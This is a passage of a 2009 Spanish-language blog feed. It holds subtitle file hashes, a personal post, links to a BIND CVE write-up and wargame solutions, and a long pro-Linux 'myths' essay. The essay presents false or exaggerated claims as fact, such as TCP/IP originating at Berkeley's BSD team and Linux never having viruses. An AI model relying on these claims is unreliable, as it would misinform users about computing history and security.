acf62df00bb4b218a30bbaf2cdd022d51f8b5a83&lt;br&gt; SHA1 (The L Word - 1x04 - Longing.srt) = 409cb39b44c404fe9522e963034df65576b1315e&lt;br&gt;SHA1 (The L Word - 1x05 - Lies, Lies, Lies.srt) = d652a2ddab525d282830895906fbe06b6ebe85b1&lt;br&gt;SHA1 (The L Word - 1x06 - Lawfully.srt) = b4428d18002341b319b219f478a98a65804ad2be&lt;br&gt; SHA1 (The L Word - 1x07 - Losing It.srt) = 4cae7f60b73a3506754572a8e03a9310386b2c23&lt;br&gt;SHA1 (The L Word - 1x08 - L\&amp;#39;ennui.srt) = 6ed24165996c9ad76a5ecef6431116fa50321384&lt;br&gt;SHA1 (The L Word - 1x09 - Listen Up.srt) = a285a431c4f65f32eeb2b736d5c94ed1ca0ddfb4&lt;br&gt; SHA1 (The L Word - 1x10 - Luck, Next Time.srt) = ac0ac4111fcaea4adf29997ab5f96cf00ee2d09d&lt;br&gt;SHA1 (The L Word - 1x11 - Liberally.srt) = fb1c9c0f2f799a557f95a1d0c323c9f353b1dd95&lt;br&gt;SHA1 (The L Word - 1x12 - Looking Back.srt) = 40342652c4d49504d370993aa94c9fdee148b9f0&lt;br&gt; SHA1 (The L Word - 1x13 - Locked Up.srt) = 0a944446761ef34d367f17b6fd5fb5c8874e4cfd&lt;br&gt;SHA1 (The L Word - 1x14 - Limb From Limb.srt) = 99eebd72954101a290f16fb03ca0c65c6c491aa6&lt;br&gt;&lt;br&gt;&lt;br clear="all"&gt;Regards&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt; &lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5458781489380062141?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5458781489380062141/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5458781489380062141' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5458781489380062141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5458781489380062141'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/05/savannah-l-word-subtitles-season-1.html' title='SAVANNAH: The L Word Subtitles Season 1 English'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8289359396281911873</id><published>2009-05-16T20:41:00.001-05:00</published><updated>2009-05-16T20:41:08.376-05:00</updated><title type='text'>De vuelta por el blog. [Pensamientos]</title><content type='html'>Pues después de mucho tiempo de no escribir en el blog pienso que volveré a escribir un poco, y contarles el por que de la ausencia.&lt;br&gt;&lt;br&gt;Pues nada, he conseguido nuevo trabajo y me deja mas cansado que el anterior. El trabajo anterior lo sigo haciendo solo que ahora es desde mi casa y solo voy a la oficina unas dos o tres veces al mes.&lt;br&gt; &lt;br&gt;Ahora que gano un poco mas de dinero tengo para liquidar mas rápido las deudas y pues tengo mas para ahorrar.&lt;br&gt;&lt;br&gt;En mi casa he pensado reducir los gastos que hago, me refiero a quitar algunas cosas como la televicion de paga ya que en general muchas veces rondo por todos los canales sin nada que ver. Por eso prefiero mejor descargar las series de televicion que me gustan, asi las disfruto sin comerciales y puedo ponerle los subtitulos que quiera, que generalmente son en ingles para asi poder mejorar mi entendimiento del ingles y la pronunciacion.&lt;br&gt; &lt;br&gt;Ultimamente es estado un poco nostalgico y deprimido, muchas veces grito de desesperacion. Siento que me falta un poco de motivacion tambien por ello no he actualizado el blog, muchos diran que es por el trabajo nuevo que de hecho el 15 de abril es cuando empeze a trabar ahi, y fue cuando deje de actualizar el blog, sin embargo yo digo que no, el trabajo me gusta y la verdad que el tiempo ahi se me pasa muy rapido, pues todo el dia estoy ocupado.&lt;br&gt; &lt;br&gt;El trabajo que tengo desde mi casa, pues solo consiste en pasar algunos scripts SQL al MySQL y generar reportes que ya tengo diseñados, de vez en cuando trato de eficientar las consultas ya que el volumen de la informacion crece constantemente y algunas consultas tomas varios minutos que igual no importa mucho pero si es deceable que fuese mas rapido.&lt;br&gt; &lt;br&gt;He tratado de  buscar ayuda psicologica para los problemas de deprecion sin embargo no me atrevo.&lt;br&gt;&lt;br&gt;Las cosas que antes me entretenian pues ya no me llaman mucho la atencion, el foro se mueve como de costumbre, borrar mensajes de lanzadores, y dudas que ya se han escrito 100 veces (Cosa que no deberia de suceder). NOTA no estoy quemado de moderar el foro, al contrario me divierte mucho ver a esos usuarios en las andadas claro que no duran mucho la mayoria.&lt;br&gt; &lt;br&gt;Ya no agrada estar tanto tiempo en la computadora, solo esos momentos en los que me encuentro en el IRC con usuarios del foro platicando de una u otra cosa generalmente cosas off-topic. Me divierte mucho y mucho de los usuarios me mantienen animado y echandome animos.&lt;br&gt; &lt;br&gt;Algunas cosas que detesto&lt;br&gt;&lt;ul&gt;&lt;li&gt;Los defaces&lt;br&gt;&lt;/li&gt;&lt;li&gt;Los mas de 100 usuarios que elimine del msn, por que solo me agreron para preguntarme alguna chorrada sin aportar nada&lt;/li&gt;&lt;li&gt;Aquellas personas que creen que no hay soluciones en OpenSource que superen a las tecnologias de M$&lt;/li&gt; &lt;/ul&gt;Esto ultimo va por un empleo que rechaze al parecer no hiba a llevar bien con el dueño de la empresa asi que para que arriesgarme con alguien con una mente tan cerrada como esa, claro hay soluciones M$ que son muy buenas ademas de no tener su competencia OpenSource. Sin embargo hay soluciones OpenSource que son insuperables.&lt;br&gt;&lt;br&gt;En fin, por hoy es todo lo que tengo que decir.&lt;br&gt;     &lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8289359396281911873?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8289359396281911873/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8289359396281911873' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8289359396281911873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8289359396281911873'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/05/de-vuelta-por-el-blog-pensamientos.html' title='De vuelta por el blog. [Pensamientos]'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-6127896530586925459</id><published>2009-04-14T09:58:00.002-05:00</published><updated>2009-04-14T10:01:38.076-05:00</updated><title type='text'>CVE-2008-0122 Documentación</title><content type='html'>Documentación terminada sobre el bug con dicho CVE: &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/papers/Heur%c3%adstica%20y%20Explotaci%c3%b3n%20de%20vulnerabilidades/CVE-2008-0122.pdf"&gt;CVE-2008-0122.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.elhacker.net/bugs_y_exploits/bof_en_inetnetwork_afecta_a_servidor_dns_bind-t196923.0.html" target="_blank" class="posted"&gt;BoF en inet_network(), afecta a Servidor DNS: BIND&lt;/a&gt;&lt;br /&gt;Referencia: CVE-2008-0122&lt;br /&gt;&lt;div class="quoteheader"&gt;&lt;br /&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;Pequeño Off-by-One, muy simple y no pude verlo desde el principio,&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;img src="img/blank.gif" alt="Enlace" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt; con el analisis que se le dio se comprende del todo el por que del Advisory&lt;/div&gt;&lt;br /&gt;Paper: &lt;a href="http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FAnon%2FCVE-2008-0122.pdf" target="_blank" class="posted"&gt;CVE-2008-0122.pdf&lt;/a&gt;&lt;br /&gt;Porcentaje: %100&lt;br /&gt;[P]&lt;br /&gt;Saludos&lt;br /&gt;--&lt;br /&gt;- Anon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-6127896530586925459?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/6127896530586925459/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=6127896530586925459' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6127896530586925459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6127896530586925459'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/04/cve-2008-0122-documentacion.html' title='CVE-2008-0122 Documentación'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8884525858223597129</id><published>2009-04-11T13:19:00.001-05:00</published><updated>2009-04-11T13:19:55.634-05:00</updated><title type='text'>Documentacion Torneo Shell</title><content type='html'>Después de tanto tiempo a continuación se expone la documentación del &lt;a href="https://foro.elhacker.net/warzone/torneo_de_explotacion_de_servidores-t235190.0.html;msg1122752#msg1122752" target="_blank" class="posted"&gt;Torneo de explotacion de servidores&lt;/a&gt; o llamado por algunos Torneo Shell debido a que en un principio no se podía encontrar el shell del sistema fácilmente.&lt;br&gt; &lt;br&gt;Documento sobre los preparativos, desarrollo y desenlace del Wargame&lt;br&gt;&lt;a href="http://warzone.elhacker.net/doc/Howto%20-%20TS%20Warzone.pdf" target="_blank" class="posted"&gt;http://warzone.elhacker.net/doc/Howto - TS Warzone.pdf&lt;/a&gt;&lt;br&gt; &lt;br&gt;Documentos que explican como pasar las primeras 3 pruebas del torneo.&lt;br&gt;&lt;a href="http://warzone.elhacker.net/doc/Reto%20BoF%20-%20TS%20Warzone.pdf" target="_blank" class="posted"&gt;http://warzone.elhacker.net/doc/Reto BoF - TS Warzone.pdf&lt;/a&gt;&lt;br&gt;  &lt;a href="http://warzone.elhacker.net/doc/Reto%20Dejavu%20-%20TS%20Warzone.pdf" target="_blank" class="posted"&gt;http://warzone.elhacker.net/doc/Reto Dejavu - TS Warzo&lt;/a&gt;&lt;a href="http://warzone.elhacker.net/doc/Reto%20Dejavu%20-%20TS%20Warzone.pdf" target="_blank" class="posted"&gt;ne.pdf&lt;/a&gt;&lt;br&gt; &lt;a href="http://warzone.elhacker.net/doc/Reto%20HoF%20-%20TS%20Warzone.pdf" target="_blank" class="posted"&gt;http://warzone.elhacker.net/doc/Reto HoF - TS Warzone.pdf&lt;/a&gt;&lt;br&gt; &lt;br&gt;Otro método de pasar el 3er reto del Torneo&lt;br&gt; &lt;a href="http://warzone.elhacker.net/doc/Reto%20HoF%20Otro%20metodo%20-%20TS%20Warzone.pdf" target="_blank" class="posted"&gt;http://warzone.elhacker.net/doc/Reto HoF Otro metodo - TS Warzone.pdf&lt;/a&gt;&lt;br&gt;&lt;br&gt;La documentación de la 4ta prueba esta en desarrollo y sera publicada hoy en unas horas mas, o el día de mañana.&lt;br&gt; &lt;br&gt;Saludos&lt;br&gt;&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8884525858223597129?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8884525858223597129/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8884525858223597129' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8884525858223597129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8884525858223597129'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/04/documentacion-torneo-shell.html' title='Documentacion Torneo Shell'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-3680876764496071358</id><published>2009-04-05T10:03:00.002-05:00</published><updated>2009-04-05T10:13:29.728-05:00</updated><title type='text'>Encuesta en Bugs y Exploits</title><content type='html'>He creado una encuesta para saber que piensan los usuarios acerca de lo que se puede mejorar en el Subforo de Bug y Exploits en &lt;a href="http://foro.elhacker.net/"&gt;foro.elhacker.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.elhacker.net/bugs_y_exploits/encuesta_iquestque_te_gustaria_que_se_mejorara_de_este_subforo-t250723.0.html" target="_blank" class="posted"&gt;Encuesta en Bugs y Exploits&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos     &lt;br /&gt;--&lt;br /&gt;- Anon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-3680876764496071358?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/3680876764496071358/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=3680876764496071358' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3680876764496071358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3680876764496071358'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/04/encuesta-en-bugs-y-exploits.html' title='Encuesta en Bugs y Exploits'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7375964402351652571</id><published>2009-04-03T20:09:00.001-06:00</published><updated>2009-04-03T20:09:37.802-06:00</updated><title type='text'>GNU/Linux: Mitos y leyendas</title><content type='html'>Mitos y Leyendas&lt;br&gt;&lt;br&gt;Si uno busca en la red, puede encontrar muchos documentos en los cuales gente conocedora hace una comparación objetiva entre Linux y Windows (tanto en servidores como en estaciones de trabajo). En muchos de los documentos se exponen puntos válidos y vigentes en contra de Linux, pero en muchos otros sólo se perpetúan algunos mitos acerca de este sistema operativo. Algunas personas conocieron a Linux en los tiempos del viejo Red-Hat 6.0 y debido a esto todavía creen en ellos. Algunos de estos mitos son: &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;1.-Si uso Linux me quedaré aislado del resto. Esto es tan falso como los romances de Michael Jackson (con mujeres). Se ha hecho un gran esfuerzo en integrar a Linux a los ambientes corporativos multiplataformas y los resultados son muy satisfactorios. Los sistemas con Linux pueden integrase a un dominio Windows y hacer uso de los recursos compartidos. Se pueden editar archivos de Word y Excel en Linux e imprimirlos en la impresora del XP y viceversa. También se puede revisar Hotmail y usar el Messenger y ICQ en un equipo Linux. De igual manera los PDF y todos los tipos de archivos de imagen, video y audio están soportados, todo sin problemas.&lt;br&gt;&lt;br&gt;2.-Linux no está estandarizado. De todo los mitos, quizás este es el más infundado. Linux es la plataforma que más busca sujetarse a los estándares. Existen estándares para todo, desde aquellos que definen como se debe comportar un manejador de ventanas hasta el formato de las hojas de cálculo y los desarrolladores de linux son muy respetuosos de apegarse a todas estas reglas.&lt;br&gt;&lt;br&gt;3.-Sólo un experto programador puede instalar y usar Linux. Otro mito infundado. Cualquier persona puede ser un usuario eficiente de Linux. Si su empresa compra un equipo con Linux pre-instalado, usted encenderá el equipo, usará el quemador, leera sus emails, imprimirá sus documentos, escuchara música, navegara por Internet y al final de día apagará la computadora e ira a casa (Linux es famoso por su gran estabilidad ). Todo ello sin saber una jota de programación.&lt;br&gt;&lt;br&gt;4.-Linux está bien como juego, pero no para algo serio. Me gustaría saber que opina el ICBC, (el banco más grande de China con fondos que superan los 640 mil millones de dólares y que usa Linux como plataforma). Asímismo me gustaría saber que opina Google, Amazon.com, las automotrices Ford y VolksWagen, la fabricante de aeronaves de la comunidad europea Airbus y los astronautas de la estación orbital (en la cual se usa Linux extensivamente) sobre la opinión de que Linux es un &amp;quot;juego&amp;quot;. De cualquer manera es un juego que todos quieren jugar: más de 38 mil millones de dólares en ganancias al año y sigue creciendo.&lt;br&gt;&lt;br&gt;5.- Linux no genera empleos. &amp;quot;Al no haber facturación por licencias, Linux daña la economía de los países pues no hay impuestos para el gobierno ni hay empresas que pueden crear empleos&amp;quot;. En realidad lo que está haciendo Linux es impulsar el desarrollo tecnológico (y la calidad de vida) de los países del tercer mundo: al no haber pago por licencias las empresas de tecnología (incluso las pequeñas) pueden cobrar por los servicios de soporte, personalización y desarollo. Si antes las empresas latinoamericanas solo aspiraban a quedarse con una pequeña fracción del precio de la licencia, ahora pueden pelear por una rebanada más grande del pastel ofreciendo software libre y su experiencia. Hay más trabajo para los programadores locales.&lt;br&gt;&lt;br&gt;Si los antigüos administradores de Windows sólo sabían apretar una bonita secuencia de botones sin entender lo que pasaba, ahora en Buenos Aires, Santiago y México se están desarrollando verdaderas secciones de código en C o Java a un nivel de complejidad e innovación que hace apenas cinco años era impensable. Eso tiene un mayor impacto en la economía: Brasil e India (dos grandes entusiastas de Linux) se están convirtiendo en los exportadores de software de sus respectivas regiones. Por supuesto que Linux daña la economía, pero no de los países, sino la de una empresa de Redmond, en Washington, USA. &lt;img src="https://foro.elhacker.net/Smileys/cowboy/aplaudir.gif" alt=";-)" border="0"&gt; .&lt;br&gt;&lt;br&gt;6.-Linux es feo. Linux ha cambiado mucho, sobre todo en los tres últimos años. Hasta la versión 7.2 de Mandrake, que salió al público a mediados del 2000, Linux o más precisamente, sus escritorios principales, KDE y Gnome, adolecieron de un desarrollo gráfico que fuera al mismo ritmo que su desarrollo técnico. No todo era culpa de los escritorios, un aspecto fundamental del ambiente gráfico, el desplegado de las fuentes, lo realiza el Xserver, y su implementación no era la mejor. &lt;br&gt;&lt;br&gt;Todo eso cambio al inicio del 2001 con el nuevo KDE y las mejoras al Xserver. Note que estoy hablando del 2001, de esto hace cuatro años. Actualmente Linux posee uno de los entornos gráficos más atractivos de la industria (más atractivo que el de Windows y sólo superado por el MacOSX de Apple). El ambiente gráfico de Linux es también, y por mucho, el más flexible y personalizable. Con frecuencia diseño páginas usando CSS y es una sorpresa para mí ver que en Windows las fuentes pierden definición mientras en Linux se ven nítidas.&lt;br&gt;&lt;br&gt;Pero todo tiene un precio, linux se dio a conocer en 1994 como el SO más rápido del mundo, lo que era cierto. Esa rapidez, lógicamente, se ha perdido con los escritorios corporativos. No obstante, aún existen los hacker&amp;#39;s desktops como Windowmaker, Fluxbox o FVWM, que son entornos funcionales y visualmente atractivos.&lt;br&gt;&lt;br&gt;7.- En Linux no hay aplicaciones. Aunque hubo el día en que esto era cierto, ahora no pasa de ser un mito. Linux está lleno de programas maduros y totalmente funcionales:&lt;br&gt;&lt;br&gt;          K3B y Nautilus queman CD&amp;#39;s y DVD&amp;#39;s sin problemas.&lt;br&gt;&lt;br&gt;          Koffice, GnomeOffice y OpenOffice.org son suites de oficina llenas de funciones avanzadas y dotadas de herramientas de integración.&lt;br&gt;&lt;br&gt;          Gnomeeting es compatible con Microsoft NetMeeting si deseamos usar nuestra cámara Web.&lt;br&gt;&lt;br&gt;          Gimp es uno de los mejores editores bitmap y retoque fotográfico del mundo.&lt;br&gt; &lt;br&gt;          Konqueror, Mozilla, Mozilla-Firefox, Epiphany, y Galeon son excelentes navegadores, inmunes al código malicioso de algunos sitios.&lt;br&gt;&lt;br&gt;          Kontact y Evolution manejan nuestra agenda e información personal.&lt;br&gt;&lt;br&gt;          Eclipse, Netbeans y Kdevelop son herramientas gráficas de programación similares a VisualStudio.&lt;br&gt;             &lt;br&gt;          Linux está lleno de reproductores multimedia como Mplayer o Xine con el que podemos ver todos los tipos de películas.&lt;br&gt;&lt;br&gt;          Con Quanta y Screem se crean fácilmente páginas Web.&lt;br&gt;&lt;br&gt;           Con Gaim y Kopete tenemos mensajería instantánea.&lt;br&gt;&lt;br&gt;          Usando KmyMoney2, Gnucash o Facturalux, manejamos nuestras finanzas personales o las de una empresa. &lt;br&gt;&lt;br&gt;Sólo existe dos grupos de programas que actualmente no pueden encontrase muy desarrollados en Linux: juegos y diseño en vectores. Sin embargo, Quake, Doom y Wolfenstein están disponibles para linux e Inkscape es un buen editor de imágenes vectoriales.&lt;br&gt;&lt;br&gt;8.-Linux es gratis y por tanto, lo que se haga en él no se puede cobrar. Doblemente Falso. Linux no es gratis, que no se deba gastar en la licencia no significa que no habrá otros costos, como la capacitación y el tiempo en investigación de soluciones. El costo Total de Propiedad o TOC por sus siglas en inglés, suma los costos totales por implementar y sostener un sistema operativo. En términos generales, Linux es un 30% más barato que Windows, y ese porcentaje de ahorro aumenta año con año, pero eso no significa que Linux no requiera inversión.&lt;br&gt;&lt;br&gt;Por otro lado, la licencia GPL no prohíbe cobrar por lo que se haga en Linux, de hecho, en la facturas se cobra por la instalación, configuración y en su caso, programación de software libre.&lt;br&gt;&lt;br&gt;9.-Linux es difícil de manejar. Repita tres veces conmigo ?Ningún sistema operativo es fácil de usar?. Tres anécdotas para el caso:&lt;br&gt;&lt;br&gt;             1. Una vez arregle un computadora para un pequeño despacho. Como suelo hacer en estos casos, primero respaldé todo el disco duro, luego formatee el disco y reinstale el SO con los programas (todos los usuarios de Windows saben a lo que me refiero pues lo deben hacer cada año, quiéranlo o no). Al final copié las carpetas de regreso,comprobé que todo funcionaba y regrese el equipo. Tres horas después un iracundo arquitecto me reclamaba que todos sus archivos se habían perdido, que yo los había borrado y que todos eran importantísimos. Fui muy preocupado a verlo pues me gusta ser serio en mi trabajo, al llegar me explicaron: ?todo se había perdido? según ellos, porqué la carpeta ?Proyectos? del ?papel tapiz? no estaba. En realidad la carpeta en C:/Mis documentos/Proyectos no tenía un acceso directo al escritorio y como no estaba allí, pues no existía. Alguien había hecho ese acceso directo años atrás y era la única manera que conocían para llegar a ellos, además de los archivos recientes del menú ?File? de Excel. En esa misma empresa había una secretaria que se jactaba de usar la muy avanzada tecla tab para dar formato a los documentos de Word en lugar de dar muchos espacios.&lt;br&gt;&lt;br&gt;              2. Luego de una acalorada discusión, le aposté a un colega una comida si era capaz de encontrar, en el piso donde trabajábamos, tres personas que supiesen cambiar el IRQ de su mouse. Vale la pena mencionar el hecho de que el piso era de un banco, donde trabajaban más de cincuenta graduados universitarios. Ese día comí gratis.&lt;br&gt;&lt;br&gt;              3. Hace cosa de un mes, una vecina vino a pedirme de favor si podía descargar e imprimir un documento Word que le habían enviado por hotmail, en ese momento yo estaba usando KDE. Ella abrió Mozilla, entró a hotmail, al descargar el archivo, Mozilla sugirió OpenOffice.org ella dijo OK, el archivo sólo era de dos hojas, cambio unos títulos y las palabras que el corrector ortográfico le marco, dio un clíck en imprimir, redacto la respuesta en hotmail, se puso de pié para marcharse con su impresión, en la puerta me dijo ?que raro windows?, luego me dio las gracias y se marchó. Ella había usado Linux sin siquiera darse cuenta. Por supuesto, todo salió bien porque el quipo estaba correctamente configurado, como si fuese un equipo OEM de fábrica. &lt;br&gt;&lt;br&gt;No es que Linux sea difícil y Windows fácil, lo que pasa es que nosotros somos la primera generación de usuarios y lo que encontramos fue Windows, si hubiese sido MacOS o NeXT u OS/2 hubiésemos aprendido a batallar con eso, pero en realidad Windows o Linux poseen el mismo grado de dificultad.&lt;br&gt;&lt;br&gt;10.-En el software libre no hay innovación. La mejor innovación que han hecho los sistemas abiertos es el mismo Internet: el protocolo TCP/IP, que le da vida a la red, fue desarrollado por el equipo BSD de Berkeley y fue liberado bajo la BSD License, mientras el deficiente protocolo NetBeui ha sido abandonado. También fue en el software libre donde se dió la primer CLI (Common Lenguaje Interface) que fue Jython, años antes que el tardió .NET de Microsoft. Los Weblogs también son una innovación libre. El respaldo distribuido de información y sistemas de monitoreo de redes están también entre las muchas innovaciones libres.&lt;br&gt;&lt;br&gt;11.- Todo mundo puede ver el código de los programas libres y por eso son inseguros. En realidad, pasa todo lo contrario. Existen dos tipos de esquemas de seguridad: la tipo plaza pública en la cual todo mundo puede ver los detalles de un programa y cuando encuentra una falla avisa a todo mundo y la tipo torre de marfil donde sólo un reducido grupo puede ver el programa y cuando encuentra una falla no avisa a nadie. Al ser revisados por muchas personas y hacer públicas las fallas, es difícil que una error grave no sea detectado en un programa de software libre. En los programas torre de marfil, en cambio, las fallas pasan desapercibidas por el pequeño grupo y cuando la encuentran no avisan. En todo caso, y quizás esto es más grave, la respuesta de los programas torre de marfil es muy lenta, arreglar un grave fallo de seguridad puede tardar meses sin que los usuarios estén conscientes del peligro que corren, como ya ha pasado en varias ocasiones con Windows 2000 y XP. En la plaza pública, al ser dada a conocer una vulnerabilidad, uno puede decidir continuar con ese programa o reemplazarlo por otro que cumpla la misma función. En la torre de marfil uno no tiene esa libertad.&lt;br&gt;&lt;br&gt;12.- El software libre es comunista. No hay ninguna razón por la cual desarrollar software libre vaya en contra de las reglas del mercado. De hecho, el software libre se ha revelado como un modelo de negocios novedoso y que reporta miles de millones de dólares cada año. IBM, SUN, Computer Associates y Novell son empresas que han descubierto en el SL una manera de abrir el mercado ahí donde estaba copado y han dado nuevos bríos e innovaciones a la industria. Linus Torvald quizás no sea tan rico como BIll Gates, pero ciertamente su fortuna se calcula en millones de dólares y tengo serias dudas de que este planeando donarlos a la revolución cubana.&lt;br&gt;&lt;br&gt;13.- No hay virus en Linux porque poca gente lo usa. Durante décadas, Unix fue el único sistema operativo que estaba disponible, su cuota de mercado era del 99%. Durante todo ese tiempo nunca hubo un virus. Los virus aprecieron al sumar Windows + Internet. Hay quienes dicen que Windows no es un sistema operativo verdadero, sino un &amp;quot;gestionador promiscuo de memoria y ejecutables&amp;quot;. Cuando una archivo llega a Linux (por Internet o porque se copia de un CD) no puede ejecutarse porque no posee permisos y aunque los tuviese, no puede activar ningún servicio porque no es dueño del demonio que lo ejecuta. Esto revela un sistema operativo maduro y bien diseñado. Existen otros peligros para Linux como los troyanos o algún exploit pero por cada uno de ellos hay miles de virus. Concluyendo: en Linux (como en todos los Unix) nunca habrá virus.&lt;br&gt;&lt;br&gt;14.- En linux no hay soporte. Este mito ha sido despedazado por el último reporte de ganancias trimestrales de IBM: 27.700 millones de dólares (casi el triple que Microsoft). La mayoría de este dinero proviene de servicios y soporte para Linux. EL software libre ha revolucionado el mercado: ya no se venden licencias, se venden las consultorías y el Know how. Esto ha beneficiado a las empresas pequeñas de cada país, que pueden competir dando soporte a Linux a precios muy razonables. De esta manera el dinero que se iba al norte por el estéril pago de licencias, se queda en cada país por pago de servicios.&lt;br&gt;&lt;br&gt;15.- Linux no le quita mercado a Windows, sino a Unix. Si bien es cierto que Linux ha jubilado a AIX de IBM y Solaris de SUN. Lo cierto es que muchas migraciones Unix-&amp;gt;Windows se han visto canceladas en beneficio de las nuevas Unix-&amp;gt;Linux. El modesto crecimiento de los servidores con Windows Server 2003 durante los dos útimos años es debido a que Linux se ha convertido en la gran opción de muchas empresas que gustan de Unix pero lo encontraban muy costoso. Las únicas razones por las cuales la gente sigue instalando servidores con Windows es por pereza o por ignorancia.&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7375964402351652571?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7375964402351652571/comments/default' title='Enviar comentarios'/><link rel='replies' 